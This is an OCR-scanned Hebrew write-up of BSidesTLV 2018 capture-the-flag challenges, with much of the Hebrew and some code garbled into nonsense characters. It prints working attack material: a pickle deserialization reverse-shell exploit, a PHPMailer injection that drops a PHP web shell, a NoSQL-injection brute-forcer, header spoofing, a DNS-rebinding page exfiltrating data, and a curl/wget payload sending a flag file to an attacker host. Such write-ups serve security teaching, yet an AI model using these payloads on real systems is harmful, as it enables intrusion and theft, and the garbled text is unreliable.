‘/img?file=lxl'Bejj/Ajlsaplsq/awoq/"

‘BSidesTLV{I_Like_FlipFlops_And_I_Cannot_Lie}

BSidesTLV 20187w-CTF N MANKX [INNDS
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http://two.challenges.bsidestlv.com:3333/
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl

Technologic

I’'m Pickle Rick! (Web)

Description:
Rick leaves a secret backdoor in order to control all the people staying at Anatomy park.

Do you think you can discover and exploit it in order to read the flag?
http://two.challenges.bsidestlv.com:8088/
Made by Nimrod Levy and Tomer Zait

NN
N0 X'N Pickle .In"9n pickle N"1901 WNNWI MANK2 NXRNIN 720 D WRIN D'P'ON DX JIR'MINN
TIZ YON7 N1 D N7aNn DYN DY LINYO] NIRZ7NNI VTN 7 NTYIRMI0 V¥ NNNUN WK [IN'9

Nwn Nt nv N1 - |IN'921 yTm7? QrRN0T NIV TN 7Y

NNOXIN MINDYT? NITINNN 'TNNI N7IYY 0970 NIIXR'A TIZ XI¥N7 [N INKRD 7 Dn npo WNKY

NIANdA PHP I *T* "'y NN WX

/getMembers.html?visitor=<input>

AN, "NIoXIN" NTNNn XN

/statusMembers.html?data=<the_string>

7NN NNAIW X' D RYA NNAIT? NTNNN 7V NN INKRY L0007 NNTAh NTNNAN DX NNANAN
MI¥2 YyT'NN DX 1Yn? Nin 72y base64-7 nian 910141 zlib ™y yno pickle ™y nxroxn0 v
NN YU'NUN7? XIN NIYYY? IRWIY DN 7D ,N7NNN 1AXNW '9D .UTN TIA'R K77 2N T¥2 N'2XRIV0P7Y

DY TIP YN N1 - 1ol pickle ™My TI NATR? NINdINN NIXION NNK

import os

import zlib
import pickle
import base64
import subprocess

class (object) :
def (self) :
return (subprocess.Popen, (
(

),0, None, None, None, None, None, False, True,))

shellcode = pickle.dumps (Exploit())
print (base64.b64encode (z1ib.compress (shellcode)))

nc -l -p XXXX :@nTIpon "y TR'W netcat NNo1 ,1n7w VSN IP-N DY TIPR DX YN

:flag.txt-7 cat NIWY7I root-n N"'P'M7 Y an? AN 1 non reverse shell N7 W' 12121 ANK7 N7wn

BSidesTLV{ICOntrell3dPlckl3R1ck!}

BSidesTLV 20187w-CTF N MANKX [INNDS
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Technolooi

ContactUs (Web)

Description:

Mailing libraries are dangerous if they are not written with secure methodologies Do you think
you can get a shell and read the flag?

http://two.challenges.bsidestlv.com:8080/

Made by Nimrod Levy and Tomer Zait

NNo

:Contact Us 1ITR NXD1 INKRN 7V 12yn WNKY

CONTACTUS

C(ONTACT INFORMATION

O Monday - Friday: 9:30 AM to 6:30 PM
Address: 123 Some Street, California, US, CP 123
Phone: (01) 999-1235
Fax: (01) 999-1234 Message

Email: info@domain.com

Captcha

SUBMIT

:NAN 9717 vl php mail exploit woN1 ,NANXN N2 ™TNN

/f attacker's input coming from untrusted source such as %_GET , §_POST etc.
/{ For example from a Contact form

$email_from = '"attacker\™ -oQ/ftmp/ -X/var/wew/cache/phpcode.php some"@email.com’;
$msg_body = "<?php phpinfol); ?>";
LR

:01w9 php backdoor XIn msg_body-nw> ,NNIT V772 YNNWN'? No1

BSidesTLV 20187w-CTF N MANK [INND
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http://two.challenges.bsidestlv.com:8080/
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

Technolooi

"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com

<?php echo "<pre="; system($_REQUEST['cmd']): echo "</pre>"; die; ?>

N7 NP7 T¥2 NI TAY (2D 777 'PIN UNIIS X7 KIN 110100 NNY NIR? T¥2 NIRTTan 72571 7aN

‘text-7 email-n NTWN 7w 019'0N NX NIYWI .NRYN

<input class="email™ type="text™ name="email address" placeholder="Email"» == §&

:NIANN DX NVUNYT 72771 .NYPAN DX N7

You are so close! please change the backdoor location to;
Ivarfwww/htmlfcache/eaal006682e5.php SUBMIT

X7 w1721 ,NaIANN DX AW N7W1 NN IWOTY '9) YalpZn DY NX NnlY)

http://two.challenges.bsidestlv.com:8080/cache/eaa700668ae5.php?cmd=cat%20/flag.txt

:flag-n Nx a1

| BSidesTLV{K33pY@urM4il3rFullyP4tch3D!} |

BSidesTLV 20187w-CTF N MANK [INND
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NoSocket (Web)

Description:
The flag is the password for "admin" user do you think you can get it? :)

http://two.challenges.bsidestlv.com:8030/login

Made by Nimrod Levy

var ws;
var url

NNannn 09510

NNoS

NNI1 MNK7 0101 TWUKD

Please login

Login

NN N'YPAI9N NXANN Llogin 7V N¥'N7aw XA Inn T Y 1avna

= + location.hostname +

function openSocket () {

WS
WS .

= new WebSocket (url) ;
binaryType =

.onopen = function() {

console.log( ) ;

.onclose = function () {

console.log ( ) &

.onmessage = function (e) {
if (e.data instanceof ArrayBuffer) {
log (decodeCharCode (new Uint8Array (e.data)));
} else {
log(e.data) ;

}

.onerror = function () {

log ( ) g
closeSocket () ;

21

BSidesTLV 20187w-CTF N MANKX [INNDS
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Technologic

I
}

function closeSocket () {

log ( ) ;
ws.close();

}

function login () {
var data = {};
datal ] = document.getElementById ( ) .value;
datal ] = document.getElementById ( ) .value;
val = JSON.stringify (data);

ws.send (val) ;

function decodeCharCode (data) {
var res = H
for (var i = 0, len = data.length; 1 < len; i++) {
var value = datalil];
res += String.fromCharCode (value) ;

}

return res;

}

function log (message) {
alert (message)

}

openSocket ()

'1019 NX NN7IWIL ws://two.challenges.bsidestlv.com:8000/login-2 WebSocket NnNio n'¥jpion

.Json NI NNANNAN

MWD ¥ NYXANNAY AN7'RYUNN 770 IX NIyN2 DA 07271 1R

{ 3 + username + +
password + }

Y7nnn imno Tz a2 .NoSQL-Injection nX7an SQL-Injection-7 NnITA N9PNNY qIUN AT TIR
X' DONX ,N'7¥N NNannnn L"Failed" Atnim X7 DX - MWD ¥ DAIWAN NIYYANX] NNO'ON NN

Luom

BSidesTLV 20187w-CTF N MANKX [INNDS
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import websocket
import string

ws = websocket.WebSocket (subprotocols=][
ws.connect (

problem: [l ll,lHl,l

password =

while True:

print ( .format (password) )
for ¢ in map (chr,range (0x21,0x7F)) :
if ¢ in problem:
continue
data = (

+password+c+
print (data)
ws.send (data)
resp = ws.recv () .decode ()
if ( not in resp) :
print (resp)
password+=chr (ord(c)-1)
break
if password[-1]
break
print ( .format (password) )

:flag-n NX 7271 ,09"PON W NIXE NXIN NKY

BSidesTLV{@ren3Equ4len3!}

BSidesTLV 20187w-CTF N MANKX [INNDS
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IAmBrute (Web)

Description:
| just forgot my wallet password... can you remind me? By the way, our IT manager stores

sensitive information... can you get the flag from his account?
Made by Nimrod Levy and Tomer Zait

NNo
N NPT Mopvault” 'Yap W MATIN NNIFO D'ATA 1INIX D'¥APN 7V NIYKRY NIONON WNKY?
NIDINN NIYYNANL D'¥IPN 7¢ 11O My .Passwordl N1DINN 7w D'¥apa "am D 17 XN 72m

DANNN 7Y N'WUXIN NN0'oA NINTTNY Yp7anl

I[N MANKRD NN97 NIMWOXR D'DNT MY
Marina ,YaI7n DY X'N NNO'ON - MY X7 NNO'oN XI'YW D 72y ooann? .1

(hash:salt:iterations:data) D" unN19n yI7'n 'y NNo'oN NX YN97 .2

Yalyn NN 07'"ynn DMUNY5N NVIARNR ¥ N9 ANk n1Mavnnl ntMwn nova T7NnN)

Y2U?7 INIX 70T D'RNN WURND XY 7D (127w 12'y'90 wnnwa IH8emacs NanXa 1nd .profile.js

7'von? min 7y oMl MdN 71 .Marina Nno'on NX 721711 rockyou |17'AN QY [I'A DX YN NON

:17¢ N'UXIN NNO'oN NX 0'1D]I D'X2pPN NX XM .passwordl nx

—~ 1Password is read-only
\ )) Add a 1Password account or

license to edit or save.

1iterns sorted by Title =

Search Marinavault + ‘

Tickets system

Uy marina | ? ‘ Tickets system

usermame marina

9

password  Marina1987! A« [0

o

http://challenges.bsidestlv.com:5084/
index.php

000000 Q Web form details -

mao. 5/12/2018 5:46 PM

/8/2018 12:54 PM

:N7W XAN TV NINE,NNO'0 ,wnnwn v 17 v i

http://challenges.bsidestlv.com:8084/index.php
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:D'019N DY 12NN INXYT 01D)

SUPPORT CENTER Guest s TS 1

Support Ticket System

4* Support Center Home [.3 Open a New Ticket [4 Check Ticket Status

Sign in to admin

To better serve you, we encourage our Clients to register for an account.

Email or Usemaime Not yet registered? Create an account

Sign In  §
Forgot My Password

If this is your first time contacting us or you've lost the ticket number, please open a new ticket

NIM19 IP niamd Jinn ANK7 W WY NOMIRD NN 17 nxolyp

| @ You are not authorized! only users from 192.168.20.1/24 can connect to the system! |

N1 Header ."x-forwarded-for" :qon Header-n HTTP-n Nwpa? 9'on ,nn'onn NX qipv? N v
"y ,NINNX 0'7'01 .'07N9] D'UNNYN 1INIX DX NNIPAN NYRAN DXRY' '9K AT'RN NYWY ynn

ANINNN [P-NN NY1AN NWPan D 'Rn? WL Dina 192.168.20.1 :x-forwarded-for 7 TRNN N90IN

JIN'RN N7

172270 DX XN WK [T-0 T2y 7y yT1'n wony 7'nnai 1N 011

s U P PO RT c E NTE R Marina Smith | Tickets (2) - Sign Out

Support Ticket System

£ Support Center Home [} Open a New Ticket  [J] Tickets (2)

< Tickets [ Open (0) K Closed (2)
Showing 2 of 2 Tickets

Ticket # Create Date Status Subject Department

I 396598 | 03/26/01 Closed The keyboard stopped working or can't be ... | Support

[ 549983 | 03/26/18 Closed Problem with the payment system Support

Page: [1]
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Z The keyboard stopped working or can’t be paired #396598

& Print | | Edit

Basic Ticket Information User Information
Ticket Status: Closed

Name: Marina Smith
Department: Support Email: marina@hut.com
Create Date: 03/26/01 Phone: 54111111 x972

@ Marina Smith posted 03/26/01 21:10:48
Hi HD team!

| have a problem with the keyboard, it getting disconnect every 10 minutes, i don't know what to do! can you help
me?

Best

Marina.

George Stones posted 03/26/01 23:10:49

¢!
If Microsoft Modern Keyboard with Fingerprint ID isn't working, stops responding when you're typing, or doesn't
appear in the list of available Bluetooth devices when you pair it, or if you see an error message during pairing,

George Stones

v Ty niamn onan nImx At Iy
TGEORGE NN 121 NN DONN
TN3N NWpa 12 N9 070N DY 9NWN KN 0N TN
NnITIN
N2N Nwpa 12 N ,0an 0Y 9N NN A N T
nhYa Nrpo
1991 923 N I
NAXNY NTIAY NINIPA 'R

,N1NY NNITA dNK7? UNnuwnn DWD D2 Unwn WX ,George ,'UN9N MY DN IXXNY D'2TN

(2111 2nIx X7 mi) friends - TNI'N2 2ANIR RINY DT170 NYTOI DT NIY QY 21209 |12WUN
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"NNo'o 'MNOY" Y TN NIYXNXA 17 NNO'ON NN A'Wn? NoM

Support Ticket System

£} Support Center Home [} Open a New Ticket

[=) Check Ticket Status

Forgot My Password

Enter your username, birthday and answer the question
below

Username:
george

Birthday:
DD/MM/1991

Secret question:

friends

Get Password

Enter your username, birthday and your secret question in the form below and press the Get Password to get
your password.

[N1Y NIrol 365 ni'opn N 27 .NMWN DX DWTI 1INIX

728 N1 v 7N RN 117 (on

:Nno'on NX IN'RI 07/11/1991 1110 AT70 )IRN DX 7271 VIYD UDMPO NIYXNAN] Y¥aY?

Congratulation! your password is: GeorgeTheCrew!

‘1 7w 1awn? 01m

SUPPORT CENTER

Support Ticket System

£* Support Center Home -3 Open a New Ticket (=] Tickets (1)

George Stones | Tickets (1) - Sign Out

< Authentication problems!! #513374

Basic Ticket Information

Ticket Status: Closed Name:
Department: Support Email:
Create Date: 03/27/18 Phone:

-~

I‘.-J"‘

a George Stones posted 03/26/18 20:10:48

BSidesTLV{Brut3Th3World!}

William Shakespeare posted 03/26/18 20:11:48

Thanks!!

) Closed by george with status of Closed 03/26/18 21:18:10

User Information

George Stones
george@hut.com
54111111 x972

& Print | | [ Edit

a2

BSidesTLV{Brut3Th3werld!}
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PimpMyRide (Web)

Description:
OMG i have PimpMyRide’s client app! I’'m connecting with: java -jar garage.jar --host one.
challenges.bsidestlv.com Please hack their server and read the file /flag.txt.

Made by Gal Goldstein :

NN9
MW7 ,yalpm jonn [Iyu7 17 AwoKnl NiNn MW7 7annnn NIpd TRonn (WK Jar yalpg nay
['AN? *TD .awnna "IRPIT YaIp 117 2wl Nnn jonn Y e 7 NK? U'1D1ENMINnn 9'oin ,jonn
TI7 X 727721 D"ONVI'RD D790 TN NIYXARA DX7'9N017'T 17 NWYl DWPrD NINKA NI NN

Alnn

:D2IYN 0NAT NNd7 27 INY TN 7Y NN Nzhno INRY

("x") Pawn W TIgn DA YN Tz A

vin'y 12 nwy1 X Tig w2

(RemotelLogger NIY¥nX1) 7NINN 2WNNY? D17 N7¢' NMUNY 1INA7 n'XoIX v' .3
4

N71Y NIZ70W YaIpn JINN Y¥aNn DNYN T2 NIR7Nn [oNnn 071X 7¥ N1'vLn

' MAIVY NXRT 7¥17 AWONX DOXRNI NTAY DAI7N NNYY 'R 21 07'NN

String entry)

(ipAddress, port);

(clientSocket, entry);

catch (UnknownHos ption localunk ostException) {}catch (IO on localIOException)

nNI017 211 ,n7w '9"KN NN ipAddress-al flag-n NN entry "10N92 0'WY7 N7 0T TIRD '9Y
N9 DRI 2N N7 NIRT IXYT L1'7R 72T0 IR N7 117 XY

public v doWork()

er.writeTolLog(c

INYN N> NIKYNY '7'nnn .Employee-n nwAI'y Manager np'7nnin 7w dowork n'¥z11oa Mg ot

Jmyn
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-0'D>"MX NNIXRY nlp'mnn N'OAN'N NX N11) .U'I'?E)OPN:'\ NN 1w |onn yaly? N7 WX 1 NN

Garage:
Employee-> (Manager) :
closeMessageFile
logger-> (RemotelLogger) :
ipAddress
port
writeToLog (entry) -> sending the flag

nyovl jonnn 7w npnmn X"t ,Nwa deserialize yxannw yana ?entry-2 n0YWUN NNIR 'R TR

.entry DA DN ,1INVMYA NNA7 DN NIP7NNN 7 NITYN LIIN7WW yalpnn

private void readObject(java.io.ObjectInputStream in) th ClassNotFoundException, IO
in.defaultReadObject();

geFile = new .10.File(this.closeMessageFile);
fis = new FileInputStream(close
byte[] data = new byte[(int)clo ageFile.length()];
fis.read(data);

# String(data, "UTF-8");

(I0OException locallOException) {}

IMWY IMIX N7V D'RNN 0NN 17 XY TIR M)

public void connectToServer() throws UnknownHostException, IOException, Interrupted
Gars garage = new Garage();
1=0; 1<4 ; i++){
garag#.addCarrwew Car(String.value0f(1i),String.value0Of(i),String.value0f(i)));

ger man = new Manager();
an.setCloseMessageFile("/flag.txt");
RemoteLogger("5.29.249.100",1337)
setManager ( )
ageByteArray = garage.toByteArray();

Stream fos = new FileOutputStream('garage");

garageByteArray);

fos.close();

= new GarageClient(remoteAddr, port);
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*Main-2 0'7n NY2IxRY pnnn 19w Tipn

VIYD TWOX NN - NINIIDN 5 W'wd 71 NYXANN NTIAYN) 1DIN7 NIMIdN YaIx Dol jonn <yt 1
.(0'n1va Nirn'% ' 72X nimpn 5 ot

(Remotelogger-n DY) |joNn7 17w 2ITTN 701N nooin .2

Y277 jonnn Ny .3

2'270 NIE'7n NdIN N7ven

JI7¥N PTR'Y DN NN91 MY INIR NI7Yn71 NIR7n DX YN OkW) - 0'RNN [oNNn  yalp 17 v

:flag-n DX 117 N7W Yaln IR NND' INITAN NI

{I_

IBSidesTLV

BSidesTLV{I_Am_Inspector_Gadget}
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Can you bypass the SOP? (Web)

Description:
Hi Agent! If you can see this challenge, you were probably chosen by our secret organization in

order to catch the llluminati members. Our intelligence analysts team conducted some research
about criminals that operate inside the illuminati team and have the following information:

1. The Illuminati team will NEVER open external files

2. The llluminati team is arrogant and will never change default passwords

By the way, one of our agents has infiltrated to the Illuminati group! as a result, we can produce a
possibility that one member of the Illuminati team will open a link that will send from our agent.
So according to these facts, your mission is to take over the internal application controlled by
Illuminati team to get the flag! The internal application located on:
http://192.168.20.100:8080/login

BOT URL: http://two.challenges.bsidestlv.com:8133/index.html

Rules:
1. The bot will stay on your page for 3 minutes.
2. your page must return status code: 200
Yours,
N
Made by Nimrod Levy

NN9
DNS MNopNna wnnwl .NIpT 3 qwn? 12 IXY'" XINY 117 VIT1 120NN VIAN 178 NN DO7IY 1K

72 NnTa1vn Rebinding

nwn LR"T .http://example.com:8133/index.html 717 xnaT? ,n7w NMwY "annn qpnmn .1

117w IP N2IMDY7 NNIX DaNnl example.com N2IMdN 217 DNS NN7'RY NYIY

7 wan '¥ni T NN Javascript 09"MR0 VoI 9T RINWD NWd .2

http://example.com:8133/login

7> example.com NX D'9'7NN 1K ,'TD YN .img AN 7¥ src-0 T 11'7X NYWRAN NAIAN DX N7V

.127.0.0.1-7 yrax' XIn 17w IP-7 y'a¥n? nipnav

-Y NX'N T2V NTY N2'ON .img-N N'ann N97Tnn T N7W Iwn N 9T PIN DX 7371 X .3
'D'N'RNN D'RAN D'0N9N DK Javascript T2 NIYPa PN YI?'n WwORn Same Origin Policy
NPT NXR NINYN IP-N NIMDY NNNY ,117¢ NNalma 0'M'RNN DY 2N .protocol:domain:port

.example.com |"TyY XIn Domain-n ,'¥NI
VA7 MYANY IYRIN html-D QT .7Ay? "N NOpnAn NX 1"aon 9T, '"Munnuny POC-n Nt

.admin/admin DN NNANNNN '019W 72 ,NaIWN2 login 17 GET nwjpa 70
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http://two.challenges.bsidestlv.com:8133/index.html
http://example.com:8133/index.html
http://example.com:8133/login
https://github.com/mpgn/ByP-SOP
https://github.com/mpgn/ByP-SOP

Technologic

:login 17 POST nwiza 700 LIA7 'MWANW TwN TN

<html>
<head>

</head>
<body>
<h2>Bypass Some Origin Policy clean script</h2>
<p>Pretty things that makes your victim stays for few minutes...</p>
<script
src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js">
</script>
<script type="text/javascript">
setTimeout (function SOP bypass () {
console.log ( )
S.post (
{
username:
password:
submit:
}
, function (data) {
var image = new Image ()
image.src= +btoa (data) ;
1) ;
}, 90000) ;
</script>
</body>
</html>

:nIwnnn P7nd flag-n NX 7271 ,172'7w base64-n NX N1YO1 TWNDI

‘BSidesTLV{C4nY0uR3b1n3dMe?}
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Gaming Store (Web)

Description:
| need your help, Evil attackers are scraping my website and stealing my customers. Please make
them pay for their crimes and hack them. | have heard they use a special headless browser to get
the information they need. Take this editor account and do whatever you can to make them
suffer!
Username: bsidestlv
Password: 3d1tOr
URL: http://two.challenges.bsidestlv.com:3000

Made by Tomer Zait

NNoS

'D'PNYN 7Y 1IN JNY7 117 TWONNN INK WnNnwn 172y

Wim

G
@ WS

N

This is my description

72TN .ONIXK 9'PNNT7 XD N7W D10NRN1 N 012 DY DR scraping NYIY INYMY 17 10K 9002
">" p'Inn DR TTNNY NY9¥N7 1MX XSS Nopnn 7'awa R XSS NOPNN KIN WRI7 Y7 nWY IURIN
D'IMY7 DNA7 'NNY¥N X7 - 'YL P'Yal NNIY encoding NIV'Y DY '101 7W NIAY NIYW INR7 "<

N71 D'RNN escaping DN NWY MUNW NNNIR NRT "&gt;" "&IE;"-7 N onw jion ,y'a1n? n'ixn

QAN NIMOY 1D 17XN DYINA WNNwn? N1

wUnnun 9T - DTN DNAT W7 27 'MnYl a7 N 9T YW pnn Tig 72V 'm%mnon ,|pn WnX7?

:ng-app DWA N'an 7'on body-ni ,angular.js-2

<!-- Single page application preparation -->
<script src="/js/angular.min.js"></script>

<!--[if 1t IE 9]>

<script src="/js/ie-support/htmlS.js"></script>
<script src="/js/ie-support/respond.js"></script>
<![endif]-->

</head>

body ng-app="">
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http://two.challenges.bsidestlv.com:3000/

Technologic

W'Y NNAIT IRIAN X2 9717 'Myan ,ng-app 7w wioNn

Example

Let the body element become the root element for the AngularlS application:
<body ng-app=""»
<p>My first expression: {{ 5 + 5 ;}</p>

</body>

Try it Yourself »

ZNNQN NRXINN DX 7271 ,7Nwnn 79 QIRMN 1IN 0770 INIK TIK D011 DX

Need for Speed rivals

< 25

.. I - DEE

-nn "nnM" NNWoKNNN angular 7Y NNY' NIXONA2 nW7IN Nn'pw 1Nann Yavascript TR 1230

11221¥D Javascript Tz n¥NI sandbox

,7'90N NIY' NONANY [II'DN .NXTN 0YI0T0N NNTOA 1NN 110 NIF 0T 7V 1'aon LiveOverflow
- NNO™MYA qT7 1IAYY7 VA7 DN2A T 72 YN "D constructor.constructor-1 WNNWN? WO

‘X2 VOPLN NX PhYNN 7¥ NIN'MA 21N

‘{{constructor.constructor("window.location='http://IP:8080/exp.htm1'")()}}

User-Agent n7'>nn Mwnn nypa I7:1|')III ,D'RNNN 0192 MY NN .1N7W NANDN RN 1P WWUXD

J"yn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/58.0.3029.110 Nightmare/2.10.0 Safari/537.36

BSidesTLV 20187w-CTF N MANK [INND
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https://www.youtube.com/watch?v=67Yc8_Bszlk&list=PLhixgUqwRTjwJTIkNopKuGLk3Pm9Ri1sF

Technologic

NAN 77 Y11 72122 ¥ wio'n nXY? - "Nightmare/2.10.0" nTinnn? 17 o'wa

I Massive security hole in nightmare
aight8 opened this issue on Mar 27, 2017 - 25 comments

“ aight8 commentad on Mar 27, 2017

The __nightmare object which is set on the window object, it contains the whole electron ipcRenderer on it
and it can be accessed by any website If they only want, every website have access to core electron features.

Furthermore just a deletion of the __nightmare (set it to null in the websites code) will freeze the evaluate
method.

https://github.com/electron/electron/blob/master/docs/tutorial/security.md
electron/electron#7929

NN 17 N7W'W *TD PoC-n NN N¥j NIw] INiainann nnxa PoC wr 17'9X1 VIAN NINA RCE A'wn? "WON

:flag-n

var args = [{ type: "value", value: "/usr/bin/wget http://IP:1234/ cat
/home/bsidestlv/flag.txt | base64 -w@ ;/usr/bin/curl http://IP:1234/test;"
s

:NYpann 77nd flag-n IR 721 N9 TIpn DR YN 01N DRI 1234 01191 TN

‘BSidesTLV{Angulaer_is_Freddy_Krueger}
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https://github.com/dyntopia/exploits/tree/master/nightmare-ipc
http://ip:1234/%60cat

Technologic

Shared directory (Forensics)

Description:
I’'ve CoRrupted the file so no one can read it! i believe you wilL know how to Fix it :).

P.S. | like my WINDOWS machine.

Made by Nimrod Levy |

[NNS
NIMIRD DX 12'A'T ANKRN IR 7V 19011 NIONon AN .DIAS XIN D 'R YAIpPN DX NINo7 12'01

N2 X7 niva Nt ,CRLF WINDOWS 127 XX'I DN N DN NN NPT LI71maN

wnnwn? ain onm+1i Tva (\n) niv nT% nin 7y LF-2 wnnwn? ainl on'7a o'yt NNIXY 1D

.(\r\n) n21v9n NNIX NX NIWY'? nan 7y CRLF-2

[PN7 NI V1 79T yalpnw N |27 0717 NIDIYNA INI' Y191 tar-ball aion X1 INN9Y yaln

.LF-7 CRLF 752 "7 0¥ X INIX

N'm oy n'P'nl model.json 1w yaly 172 .0'¥apn DR 1Y @ iRl yaign nxY?n'? non

:FemtoZip 21M> 17w 1 TNAw N'7211 (json NNRA X7 NT) json-n yal X NIN97 NO11 .0 NI 0¥

File Edit View Search Terminal Help

MLNGCHCNGFemtoZ IpNCNGNGNCHGNGEENGe ', 'age': 10e', ge': 101, 'flag': 'B

5 V{ImNotTheFlag}', Poe n', 'ty - f , 'email': '
: 105, 'flag': ldesTLV{ImNotTheFlag}', 'gender': 'm', 'type

"email’: : 111, 'flag': s 1desTLV{ImNotTheF1l

'm', 'ty , 'email’: s : 12, 'fla

esTLV{ImNotTheFlag}"', enc : 'f', 'type': ‘'for , 'ema
‘age': 31, 'flag': 'BS sTLV{ImNotTheFlag}", er':

,NIDINN NX NINAY7 no1 'v'ann NNIX T ,NIDSNIYN NI'P'N NXIDAY NN IT FemtoZip-w Nanon

;N7 NY7'oNIpn ...NoXKA

1le included from DictionaryOptimize
IntSet.h:35:24: ‘constexpr’ n
const float femtozip::IntSet::load factor’
static const float T
Optimizer
virtux/

oxale/bsides/femtozip/cpp’

@12:11

0¥ NI NN DX ,0TIR .|7N7 N0 ...const-N DY 'NW7) Nl

flloat load_factor

!'79)'J|7]'1YJ N7 I'YDY .NXTN NIXN NX Q'V1 ...12'N'2 0D'0LVO D'INYN 'YX 'n
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'|'|||'I|—1 json --d

:D'19] DY Y' NN nKNIL,ARXINN DX 1Inw)

File Edit Selection Find View Goto Tools Project Preferences Help
flag.txt

: 103, "flag': 2 4 e546e 19blcaf6fe340", 'gender’:
:outwynny', astna lind',
'email ynny.ethe utlook.com' H'fir
E!Pnd»:r . ) *forensics’, ‘'email':
'L.(Dm'h fll ame 1 'La ‘rnamp‘ u hPlyl‘ 4 'BSidesTLV{ImNotTheFlag}',
ensics', ‘ema 5 3 om*}{'firstnam u' cm1=r 'L‘ astna nnemarie’,
ensics', 'email': 'christa ahoo. com' H{ ' firstname
ImND‘rThPFlaq}‘ ‘gender' : ty : "forensics', 'email’:
tna sTLV{ImNotTheFlag}
ief :Jur'L:::Jk com' }{'fi 7
pe': 'forensics',
NotTheFlag}', ‘gender': e DlPﬂ‘l(“,
@ E E : u'damara’, 'a flag': ‘E:ldPKTL\"ImND‘rThPFl I
*forensics', ‘email ama . { E . 'lastname '
a 4d98b8e17f2d16b2df" a
: u'gwendolyn®, ‘age’: ag': '0865519 ea aa af', er': : 'forensics’, il
outlook.com' }{ flr( name ‘wanda’, E 'g e', p: {ImNotTheFlag}', 'gender"
ty *forensics', ‘email ) { rstna j ude’, 'ag 19, 'flag
748ff83f92bb148d76c5e0d86T6C" j trude@gmail.com'H ' firstname’: u'ca
‘lastname’ : ada 9 g , "type ‘forensics', ‘email':
gmail.com'}{ ' firstname u'mle "l E a', 'age 47, 'flag' 64b67 697b8fa%8al131926facff
'type 'forensics', 'email 'milly.petunia u'nal il ame’: u'edith', 'age’
801d3674eT63d93a23b53b1e2d51d", 'gender
u‘penni‘, *
ol.com'}{"firstname
"type *forensics', 'email m 'pris a', astna u'lillian’,
‘B:ldP‘TL‘”ImP TThPFlHU} 8 o O ail': lillia :JL com’ }"fln‘rnam#‘-
g 2 p € 'forensics', 'email'
ahoo . com' } tfir u'nicolina ame . 3, g' 'gender’
*forensics* ‘nicolina.m t a
pe': 'forensics',
9 {ImNotTheFlag}',
ia@aol.com' H‘fll tname': gab astname u'amalia’,
', 'type ‘forensics’, 3 E lia@mail.ru'}{*firstname":
rImHZJfThPFl g}', 'g 8 e': 'forensics', 'email': 'ma elle@yahoo.com'}{'firstname': u'sella’,
E 'cd2263 1a7f4cdcc8-15’Bbﬂb-}da:cslls‘ e type': 'forensics' ‘'email':
J Line 1, Column 1 Tab Size: 4 Plain Text

09" 70N NIVXNKR] 'MMKN 22Th NX wonll D'"'v'on D'72TN NN 17nn ,© json NNX2 N1 1'Wdy
R an

import os

for filename in os.listdir('out'):
data = open ( + filename, 'r'")
print eval (data) ['flag

:bash nxjpi

ython do.py grep BSides

NTTIA NTANN 117 TNIN ,91027

| BSidesTLV{F3mZ1pisTh3B3st}

BSidesTLV 20187w-CTF N MANKX [INNDS
www.DigitalWhisper.co.il
37 2018 VOIAIX ,97 [I'"7A




Technologic

T.A.R.D.1.S (Crypto)

Description: ,
Watching the timelines has always been awry - but a keen observer can learn a lot of information

observing the sidelines... to connect to the challenge use this link

Made by Guy Barnhart-Magen |

NNo

ANKN NMNUN NX 1'20N YNKRN

BGioes

Time-based side-channel analysis

Background:

In ervptography, a side channel attack is any attack based on information gained from the
physical implementation of a ervptosystem, rather than brute force or theoretical
weaknesses in the algorithms (compare cryptanalysis).

For example, timing information, power consumption, electromagnetic leaks or even
sound can provide an extra source of information which can be exploited to break the
system.

Some side-channel attacks require technical knowledge of the internal operation of the

system on which the eryptography is implemented, although others such as differential
power analysis are effective as black-box attacks

Instructions:
YVou will need to figure out the password which is also vour token.

Use the password verification timing information provided by the server as a side-channel
that will leak your password, which is a 10 digit number. Think how the verification of

the password might be implemented by the server and what you can learn from the timing
of the implementation.

Password :

Saolve

If vou encounter any issues, please contact: ctf@bsidestlv.com
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http://two.challenges.bsidestlv.com:5050/

Technologic

117 2ATNIM 190N D0'0'1dN XY YA ,9012 .0M1%01n D70W DN 10 N2 X'N NNo'oNY D'VTI' 1IX

:NNO0'0ON NNIDI NX PITA? AMNX7 NP7 12 ATh

Password verification failed. Processing time 241 microseconds

‘X2 DI NYXINN A TANY N' DX

for ¢, p in given pass, pass:
sleep (0.2)
if c !'= p:

return false
return true

NN Y 1T NTAIY2 WNNWI 012121 DRIYRIN DDA NI'Y 70D At anr nn|7|'7 n'1Tanv 17 n'en

AN 2N TR DR NP7 2IWINN 12 TRRD DX 021 0-9 2 D'INN 72 NI 101 - NNO'0N NN Y7NY

.NN0'02 X2N N7 112V PN NNY

:flag-n 127 09TI' TRI - 8105237467 :X'N NNO'ONY 727711 IT NU'WA WNNW)

Your flag is: BSidesTLV{7456urtyifkygvjhb}
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Crypto2 (Crypto)

Description:
In this crypto challenge we taking the basic crypto ciphers a leap forward! While not venturing

far, you will not find the cryptanalysis as obvious as last year’s :)

Made by Guy Barnhart-Magen |

[NN9
YAl '97 wN17 AWOKX .ANtTR TYX IMIX INR7Y N'ON' UIYD [DI¥] NAITA 0'2N 12D 1INIXY IND TX

71T ,substition cipher Dy 0'0'9T X7 DN W'Y 7V "2TA "nntTR Tven"-w NIrNCTR NINAI

Jlawna DnIX D'NEI? X7 DN D 71¥97 DUONIVIX DNK 7Y TIND NYPNY

N7nNnn DX 1NPY7 ."Ready Player One" 190% 01191 ,"Anorak’s Invitation.txt" XIn 1N7w yalpn ow

NP NIMMINA DNIX 1197001 [9XINN VoL 7Y

"IYK[:'} -3 ’®} fl@F-}fz z
abcdefgchijhklchmcnoipcmghr

((NIX NNIXY D'9NNN DN DA D'AY9Y7) 190N N7'NNYT 1IRXNY NNANN DX DY)

hijhklchmcnoipcmqghr

abcd C
